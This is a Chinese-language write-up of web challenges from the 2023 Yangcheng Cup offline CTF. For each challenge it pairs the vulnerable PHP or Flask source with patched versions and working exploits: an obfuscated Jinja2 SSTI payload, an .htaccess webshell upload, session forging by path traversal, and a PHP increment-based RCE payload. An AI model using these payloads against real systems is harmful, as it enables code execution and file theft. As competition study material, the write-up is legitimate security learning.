2023羊城杯线下
2023-09-15 21:10:25

Web

ezSSTI

break

fuzz测试,黑名单大概为

blacklist=["'"," ","_","+",".","globals","class","url_for","popen","flag","attr","{{","\\x"]

fenjing生成POC即可

{%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2~("g""l""o""b""a""l""s")~(lipsum|escape|batch(22)|list|first|last)*2])[(lipsum|escape|batch(22)|list|first|last)*2~("b""u""i""l""t""i""n""s")~(lipsum|escape|batch(22)|list|first|last)*2])[("e""v""a""l")])((("%c"*48)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,84,104,49,115,95,102,108,97,103,95,49,115,95,104,51,114,101,39,41))))[("r""e""a""d")])()))%}'

Fix

过滤标识符,直接GG

if "{{" in word or "{%" in word:
	return "hacker"
from flask import Flask,request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name','CTFer<!--?name=CTFer')
    if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{%",name):
        t = Template("hello "+name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000)

原来的源码

from flask import Flask,request
from jinja2 import Template
import re

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name','CTFer<!--?name=CTFer')
    if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):
        t = Template("hello "+name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000)

ezupload

break

访问指定页面,上传文件
经测试可以上传.htaccess文件,

AddType application/x-httpd-php .jpg

在上传1.jpg,内容为一句话木马即可

fix

黑名单加.htaccess

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>


<div id="upload_panel">
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
</div>

源码

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php



$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>


<div id="upload_panel">
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
</div>

BabyMemo

我是个猪比,很简单的一题,赛后被tel师傅一提醒我就知道怎么解了,可惜了

break

Pasted image 20230915142929.png

真正的利用点在这,问题是怎么去伪造session,这个需要去看一下session的逻辑,访问后产生的session信息一般会存在php.ini里指定的目录中,文件名为sess_sessid
配合这题源码查看,可以将文件上传至tmp目录下,大概就是储存在tmp目录中了,sessid的信息是以序列化流来储存的,可以本地生成一个看看

<?php  
session_start();  
if (!isset($_SESSION['username'])) {  
    $_SESSION['username'] = 'xianzhi' ;  
    $_SESSION['admin']=true;  
}  
?>
//username|s:7:"xianzhi";admin|b:1;

现在所需要做的就是将这个session数据写入/tmp/sess_sessid下,并携带着sessid访问即可获得flag
Pasted image 20230915143523.png

username可控,指定为sess即可

查看源码发现switch中都存在着拼接文件名后缀的操作,但是在default中,会拼接. 和$compressionMethod,后者可控,但是sessid中只能出现16进制的字符,但是下面存在一个../的置空操作,所以我们可以控制拼接一个./,从而通过while置空Pasted image 20230915143745.png
最后会将$compressedData写入文件中,发现来自于$backupMemos,进行了一次rot13,
Pasted image 20230915143523.png
观察源码发现backupMemos也是可控的,那么就将伪造后的session数据进行一次rot13传入写入文件即可
Pasted image 20230915143905.png
会通过readfile将文件返回,检查是否写入成功,携带者sess_后的id访问即可get flag

fix

index.php

<?php
ob_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['username']) && !empty($_POST['username'])) {
        $_SESSION['username'] = $_POST['username'];

        if (!isset($_SESSION['memos'])) {
            $_SESSION['memos'] = [];
        }

        echo '<script>window.location.href="memo.php";</script>';
        exit;
    } else {
        echo '<script>window.location.href="index.php?error=1";</script>';
        exit;
    }
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Memo Website</title>
    <style>
        body {
            background-color: beige;
            font-family: Arial, sans-serif;
        }

        h1 {
            color: darkslategray;
        }

        form {
            margin: 30px auto;
            width: 80%;
            padding: 20px;
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
        }

        label {
            display: block;
            margin-bottom: 10px;
        }

        input[type="text"] {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
        }

        button[type="submit"] {
            background-color: darkslategray;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }

        button[type="submit"]:hover {
            background-color: steelblue;
        }
    </style>
</head>

<body>
    <h1>Login</h1>
    <form action="index.php" method="post">
        <label for="username">Username:</label>
        <input type="text" name="username" id="username" required>
        <button type="submit">Login</button>
    </form>
</body>

</html>

memo.php

<?php
session_start();

if (!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

if (isset($_POST['memo']) && !empty($_POST['memo'])) {
    $_SESSION['memos'][] = $_POST['memo'];
}

if (isset($_POST['backup'])) {
    $backupMemos = implode(PHP_EOL, $_SESSION['memos']);

    $random = bin2hex(random_bytes(8));
    $filename = '/tmp/' . $_SESSION['username'] . '_' . $random;

    // Handle compression method and file extension
    $compressionMethod = $_POST['compression'] ?? 'none';
    switch ($compressionMethod) {
        case 'gzip':
            $compressedData = gzencode($backupMemos);
            $filename .= '.gz';
            $mimeType = 'application/gzip';
            break;
        case 'bzip2':
            $compressedData = bzcompress($backupMemos);
            $filename .= '.bz2';
            $mimeType = 'application/x-bzip2';
            break;
        case 'zip':
            $zip = new ZipArchive();
            $zipFilename = $filename . '.zip';
            if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
                $zip->addFromString($filename, $backupMemos);
                $zip->close();
            }
            $filename = $zipFilename;
            $mimeType = 'application/zip';
            break;
        case 'none':
            $compressedData = $backupMemos;
            $filename .= '.txt';
            $mimeType = 'text/plain';
            break;
        default:
            // I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~
            $compressedData = str_rot13($backupMemos);
            $filename .= '.' . $compressionMethod;
            $mimeType = 'text/plain';
            while (strpos($filename, '../') !== false) {
                $filename = str_replace('../', '', $filename);
            }
            break;
    }

    file_put_contents($filename, $compressedData);
    // Send headers and output file content
    header('Content-Description: File Transfer');
    header('Content-Type: ' . $mimeType);
    header('Content-Disposition: attachment; filename="' . basename($filename) . '"');
    header('Content-Length: ' . filesize($filename));
    readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Memo</title>
    <style>
        body {
            background-color: beige;
            font-family: Arial, sans-serif;
        }

        h1,
        h2 {
            color: darkslategray;
            margin-top: 30px;
            margin-bottom: 10px;
        }

        form {
            margin: 30px auto;
            width: 80%;
            padding: 20px;
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
        }

        label {
            display: block;
            margin-bottom: 10px;
        }

        input[type="text"],
        select {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
        }

        button[type="submit"] {
            background-color: darkslategray;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>

<body>
    <h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1>
    <form action="memo.php" method="post">
        <label for="memo">New Memo:</label>
        <input type="text" name="memo" id="memo" required>
        <button type="submit">Add Memo</button>
    </form>
    <h2>Here 1s Your Memos:</h2>
    <ul>
        <?php foreach ($_SESSION['memos'] as $memo) : ?>
            <li><?php echo htmlspecialchars($memo); ?></li>
        <?php endforeach; ?>
        <?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
            <li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag -->
        <?php endif ?>
    </ul>
    <form action="memo.php" method="post">
        <label for="compression">Compression method:</label>
        <select name="compression" id="compression">
            <option value="none">None</option>
            <option value="gzip">GZIP</option>
            <option value="bzip2">BZIP2</option>
            <option value="zip">ZIP</option>
        </select>
        <button type="submit" name="backup" value="1">Export Backup</button>
    </form>
</body>

</html>

修复memo.php

<?php
session_start();

if (!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

if (isset($_POST['memo']) && !empty($_POST['memo'])) {
    $_SESSION['memos'][] = $_POST['memo'];
}

if (isset($_POST['backup'])) {
    $backupMemos = implode(PHP_EOL, $_SESSION['memos']);

    $random = bin2hex(random_bytes(8));
    $filename = '/tmp/' . $_SESSION['username'] . '_' . $random;



    // Handle compression method and file extension
    $compressionMethod = $_POST['compression'] ?? 'none';


	if(strpos($filename,"flag")||strpos($filename,"../")){
	die("no");
	}
	if(strpos($backupMemos,"flag")||strpos($backupMemos,"../")){
	die("no");
	}
	if(strpos($compressionMethod,"flag")||strpos($compressionMethod,"../")){
	die("no");
	}

    switch ($compressionMethod) {
        case 'gzip':
            $compressedData = gzencode($backupMemos);
            $filename .= '.gz';
            $mimeType = 'application/gzip';
            break;
        case 'bzip2':
            $compressedData = bzcompress($backupMemos);
            $filename .= '.bz2';
            $mimeType = 'application/x-bzip2';
            break;
        case 'zip':
            $zip = new ZipArchive();
            $zipFilename = $filename . '.zip';
            if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {
                $zip->addFromString($filename, $backupMemos);
                $zip->close();
            }
            $filename = $zipFilename;
            $mimeType = 'application/zip';
            break;
        case 'none':
            $compressedData = $backupMemos;
            $filename .= '.txt';
            $mimeType = 'text/plain';
            break;
        default:
            // I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~
            $compressedData = str_rot13($backupMemos);
            $filename .= '.' . $compressionMethod;
            $mimeType = 'text/plain';
            while (strpos($filename, '../') !== false) {
                $filename = str_replace('../', '', $filename);
            }
            break;
    }

    file_put_contents($filename, $compressedData);
    // Send headers and output file content
    header('Content-Description: File Transfer');
    header('Content-Type: ' . $mimeType);
    header('Content-Disposition: attachment; filename="' . basename($filename) . '"');
    header('Content-Length: ' . filesize($filename));
    readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Memo</title>
    <style>
        body {
            background-color: beige;
            font-family: Arial, sans-serif;
        }

        h1,
        h2 {
            color: darkslategray;
            margin-top: 30px;
            margin-bottom: 10px;
        }

        form {
            margin: 30px auto;
            width: 80%;
            padding: 20px;
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);
        }

        label {
            display: block;
            margin-bottom: 10px;
        }

        input[type="text"],
        select {
            width: 100%;
            padding: 10px;
            border-radius: 5px;
            border: none;
            margin-bottom: 20px;
        }

        button[type="submit"] {
            background-color: darkslategray;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>

<body>
    <h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1>
    <form action="memo.php" method="post">
        <label for="memo">New Memo:</label>
        <input type="text" name="memo" id="memo" required>
        <button type="submit">Add Memo</button>
    </form>
    <h2>Here 1s Your Memos:</h2>
    <ul>
        <?php foreach ($_SESSION['memos'] as $memo) : ?>
            <li><?php echo htmlspecialchars($memo); ?></li>
        <?php endforeach; ?>
        <?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?>
            <li><?php system("echo 11"); ?></li> <!-- Only admin can get flag -->
        <?php endif ?>
    </ul>
    <form action="memo.php" method="post">
        <label for="compression">Compression method:</label>
        <select name="compression" id="compression">
            <option value="none">None</option>
            <option value="gzip">GZIP</option>
            <option value="bzip2">BZIP2</option>
            <option value="zip">ZIP</option>
        </select>
        <button type="submit" name="backup" value="1">Export Backup</button>
    </form>
</body>

</html>

fuzee_rce

break

一坨,弱口令登录后就是rce,一个科学计数法绕过+自增RCE,但是比赛的时候不告诉你传参,所以这题0解

?w1key=1e9

w1key=$_=(_/_._)[0];$β=++$_;$Φ=_.++$_.$β;$_++;$_++;$_=$Φ.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /flag


//$_POST[0]($_POST[_])

fix

先放源码
index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Crack Me</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
    <style>
        body {
            background-color: #f8f9fa;
            font-family: Arial, sans-serif;
        }

        .container {
            max-width: 500px;
            margin: 100px auto 0;
        }

        h1 {
            font-size: 36px;
            font-weight: bold;
            margin-bottom: 50px;
            color: #dc3545;
            text-align: center;
        }

        input[type="text"],
        input[type="password"] {
            width: 100%;
            height: 50px;
            border: 1px solid #ced4da;
            border-radius: 5px;
            padding: 10px;
            font-size: 16px;
            font-weight: bold;
            color: #495057;
            background-color: #fff;
            transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out;
        }

        input[type="text"]:hover,
        input[type="password"]:hover,
        input[type="text"]:focus,
        input[type="password"]:focus {
            border-color: #dc3545;
            outline: 0;
            box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);
        }

        button {
            width: 100%;
            height: 50px;
            font-size: 20px;
            font-weight: bold;
            color: #fff;
            background-color: #dc3545;
            border: none;
            border-radius: 5px;
            transition: background-color .15s ease-in-out;
        }

        button:hover {
            background-color: #c82333;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <h1>登录</h1>
                <form class="form-inline" method="post" action="./nines.php">
                    <div class="form-group col-md-12">
                        <input type="text" class="form-control" placeholder="Username" name="username">
                    </div>
                    <div class="form-group col-md-12">
                        <input type="password" class="form-control" placeholder="Password" name="password">
                    </div>
                    <div class="form-group col-md-12">
                        <button type="submit" class="btn btn-danger btn-block">确定</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</body>
</html>

nines.php

<?php
error_reporting(0);
$username = $_POST['username'];
$password = $_POST['password'];
if($username == "admin"&$password =="admin123"){
    echo "<script>window.location.replace('./goods.php')</script>";
}
else{
    echo "<script>alert('账户或者密码错误')</script>";
    echo "<script>window.location.replace('./index.php')</script>";
}

?>

good.php

<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {
    highlight_file(__FILE__);
    $w1key = $_GET['w1key'];
    if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {
        echo "good";
    } 
    else {
        die("Please input a valid number!");
    }
}
if (isset($_POST['w1key'])) {
    $w1key = $_POST['w1key'];
    strCheck($w1key);
    eval($w1key);
}
?>

``

check.php

<?php
function strCheck($w1key)
{

    if (is_string($w1key) && strlen($w1key) <= 83) {
        if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){
            return $w1key;
        }else{
            die("黑客是吧,我看你怎么黑!");
        }
    }
    else{
        die("太长了");
      }
}

在check中加入$_+.;就把自增ban了

fix check.php

<?php
function strCheck($w1key)
{
    
    if (is_string($w1key) && strlen($w1key) <= 83) {
        if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\$_+.;]/",$w1key)){
            return $w1key;
        }else{
            die("黑客是吧,我看你怎么黑!");  
        }
    }
    else{
        die("太长了");      
      }
}

Oh-My-PDF

break

一个jwt空密钥攻击,以及一个flask_weasyprint的漏洞,我还没问到具体细节,先放在这了

源码

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import os

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

db = SQLAlchemy(app)

URL_REGEX = re.compile(
    r'http(s)?://'  # http or https
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    is_admin = db.Column(db.Boolean, nullable=False, default=False)

def create_database(app):
    with app.app_context():
        db.create_all()

def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    return True

@app.route('/register', methods=['POST','GET'])
def register():
    if request.method == 'POST':
        try:
            data = request.form
            hashed_password = generate_password_hash(data['password'])
            new_user = User(username=data['username'], password=hashed_password, is_admin=False)
            db.session.add(new_user)
            db.session.commit()

            return render_template('register.html',message='User registered successfully')
        except:
            return render_template('register.html',message='Register Error!'),500
    else:
        return render_template('register.html',message='please register first!')


@app.route('/login', methods=['POST','GET'])
def login():
    if request.method == 'POST':
        data = request.form
        user = User.query.filter_by(username=data['username']).first()
        if user and check_password_hash(user.password, data['password']):
            access_token = jwt.encode(
                {'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")
            res = make_response(redirect(url_for('ohmypdf')))
            res.set_cookie('access_token',access_token)
            return res, 200
        else:
            return render_template('login.html',message='Invalid username or password'), 500
    else:
        return render_template('login.html'), 200



@app.route('/', methods=['GET', 'POST'])
def ohmypdf():
    access_token = request.cookies.get('access_token')
    if not access_token:
        return redirect(url_for("login"))

    try:
        decoded_token = jwt.decode(
            access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})
        isadmin = decoded_token['isadmin']
    except:
        return render_template('login.html',message='Invalid access token')

    if not isadmin:
        return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403

    if request.method == 'POST':
        url = request.form.get('url')
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL!'
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    create_database(app)
    app.run(host='0.0.0.0', port=8080)

fix 失败的

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for  
from flask_sqlalchemy import SQLAlchemy  
import jwt  
import re  
from urllib.parse import urlsplit  
from flask_weasyprint import HTML, render_pdf  
from werkzeug.security import generate_password_hash, check_password_hash  
import os  
  
app = Flask(__name__)  
  
app.config['SECRET_KEY'] = os.urandom(10)  
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'  
  
db = SQLAlchemy(app)  
  
URL_REGEX = re.compile(  
    r'http(s)?://'  # http or https  
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'  
)  
  
  
class User(db.Model):  
    id = db.Column(db.Integer, primary_key=True)  
    username = db.Column(db.String(80), unique=True, nullable=False)  
    password = db.Column(db.String(80), nullable=False)  
    is_admin = db.Column(db.Boolean, nullable=False, default=False)  
  
def create_database(app):  
    with app.app_context():  
        db.create_all()  
  
def is_valid_url(url):  
    if not URL_REGEX.match(url):  
        return False  
    if "flag" in url.lower() or "proc" in url or "127.0.0.1" in url or "localhost" in url.lower():  
        return False  
    return True  
@app.route('/register', methods=['POST','GET'])  
def register():  
    if request.method == 'POST':  
        try:  
            data = request.form  
            hashed_password = generate_password_hash(data['password'])  
  
            if "'" in data["username"] or "'" in data["password"]:  
                return render_template('register.html', message='Register Error!'), 500  
  
            if "\"" in data["username"] or "\"" in data["password"]:  
                return render_template('register.html', message='Register Error!'), 500  
  
  
  
            new_user = User(username=data['username'], password=hashed_password, is_admin=False)  
            db.session.add(new_user)  
            db.session.commit()  
  
            return render_template('register.html',message='User registered successfully')  
        except:  
            return render_template('register.html',message='Register Error!'),500  
    else:  
        return render_template('register.html',message='please register first!')  
  
  
@app.route('/login', methods=['POST','GET'])  
def login():  
    if request.method == 'POST':  
        data = request.form  
        user = User.query.filter_by(username=data['username']).first()  
  
        if "'" in data["username"] or "'" in data["password"]:  
            return render_template('register.html', message='Register Error!'), 500  
  
        if "\"" in data["username"] or "\"" in data["password"]:  
            return render_template('register.html', message='Register Error!'), 500  
  
  
  
        if user and check_password_hash(user.password, data['password']):  
            access_token = jwt.encode(  
                {'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")  
            res = make_response(redirect(url_for('ohmypdf')))  
            res.set_cookie('access_token',access_token)  
            return res, 200  
        else:  
            return render_template('login.html',message='Invalid username or password'), 500  
    else:  
        return render_template('login.html'), 200  
  
  
  
@app.route('/', methods=['GET', 'POST'])  
def ohmypdf():  
    access_token = request.cookies.get('access_token')  
    if not access_token:  
        return redirect(url_for("login"))  
  
    try:  
        decoded_token = jwt.decode(  
            access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})  
        isadmin = decoded_token['isadmin']  
    except:  
        return render_template('login.html',message='Invalid access token')  
  
    if not isadmin:  
        return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403  
  
    if request.method == 'POST':  
        url = request.form.get('url')  
        if is_valid_url(url):  
            try:  
                html = HTML(url=url)  
  
                if "DASCTF{" in html or "flag{" in html:  
                    return f'Error generating PDF', 500  
  
  
                pdf = html.write_pdf()  
                response = make_response(pdf)  
                response.headers['Content-Type'] = 'application/pdf'  
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'  
                return response  
            except Exception as e:  
                return f'Error generating PDF', 500  
        else:  
            return f'Invalid URL!'  
    else:  
        return render_template("index.html"), 200  
  
  
if __name__ == '__main__':  
    create_database(app)  
    app.run(host='0.0.0.0', port=8080)
Prev
2023-09-15 21:10:25
Next